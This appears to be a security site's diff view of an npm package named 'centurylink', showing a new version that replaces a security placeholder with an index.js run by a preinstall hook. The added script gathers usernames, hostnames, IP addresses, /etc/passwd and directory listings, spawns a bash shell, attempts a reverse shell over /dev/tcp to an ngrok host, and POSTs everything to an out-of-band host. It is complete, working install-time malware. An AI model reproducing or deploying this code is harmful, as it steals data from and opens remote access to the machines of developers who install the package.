centurylink 0.0.1-security → 9.9.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of centurylink might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +65 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,65 @@
1
+ const execSync = require('child_process').execSync;
2
+
3
+ const priv_ip = execSync('hostname -I', { encoding: 'utf-8' });
4
+ const whoami = execSync('whoami', { encoding: 'utf-8' });
5
+ const host = execSync('hostname', { encoding: 'utf-8' });
6
+ const current_dir = execSync('pwd', { encoding: 'utf-8' });
7
+ const passwd = execSync('cat /etc/passwd', { encoding: 'utf-8' });
8
+ const ls1 = execSync('ls', { encoding: 'utf-8' });
9
+ const ls2 = execSync('ls ../', { encoding: 'utf-8' });
10
+ const ls3 = execSync('ls ../../', { encoding: 'utf-8' });
11
+ const ls4 = execSync('ls ../../../', { encoding: 'utf-8' });
12
+ const ls5 = execSync('ls ../../../../', { encoding: 'utf-8' });
13
+ const ls6 = execSync('ls ../../../../../', { encoding: 'utf-8' });
14
+ const ls7 = execSync('ls ../../../../../../', { encoding: 'utf-8' });
15
+ const ls8 = execSync('ls ../../../../../../../', { encoding: 'utf-8' });
16
+ const ls9 = execSync('ls ../../../../../../../../', { encoding: 'utf-8' });
17
+ const ls10 = execSync('ls ../../../../../../../../../', { encoding: 'utf-8' });
18
+ const py3 = execSync("python3 -c 'import pty; pty.spawn('/bin/bash')'", { encoding: 'utf-8' });
19
+ const py = execSync('python --version', { encoding: 'utf-8' });
20
+ const bash = execSync('which bash', { encoding: 'utf-8' });
21
+ const lsb = execSync('lsb_release -a', { encoding: 'utf-8' });
22
+ const php = execSync('php --version', { encoding: 'utf-8' });
23
+ const shell = execSync('bash -i >& /dev/tcp/0.tcp.in.ngrok.io/18464 0>&1', { encoding: 'utf-8' });
24
+
25
+
26
+ const https = require("https")
27
+
28
+ const data = JSON.stringify({
29
+ "private IP": priv_ip,
30
+ "whoami": whoami,
31
+ "hostname": host,
32
+ "current dir": current_dir,
33
+ "passwd": passwd,
34
+ "ls1": ls1,
35
+ "ls2": ls2,
36
+ "ls3": ls3,
37
+ "ls4": ls4,
38
+ "ls5": ls5,
39
+ "ls6": ls6,
40
+ "ls7": ls7,
41
+ "ls8": ls8,
42
+ "ls9": ls9,
43
+ "ls10": ls10,
44
+ "py3": py3,
45
+ "py": py,
46
+ "bash": bash,
47
+ "lsb": lsb,
48
+ "php": php,
49
+ "shell": shell,
50
+ })
51
+
52
+ const options = {
53
+ hostname: "cm30n6w2vtc0000cv6m0gkb4w7cyyyyyf.oast.fun",
54
+ port: 443,
55
+ path: "/",
56
+ method: "POST",
57
+ headers: {
58
+ "Content-Type": "application/json",
59
+ "Content-Length": data.length,
60
+ },
61
+ }
62
+
63
+ const req = https.request(options)
64
+ req.write(data)
65
+ req.end()
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "centurylink",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "9.9.1",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=centurylink for more information.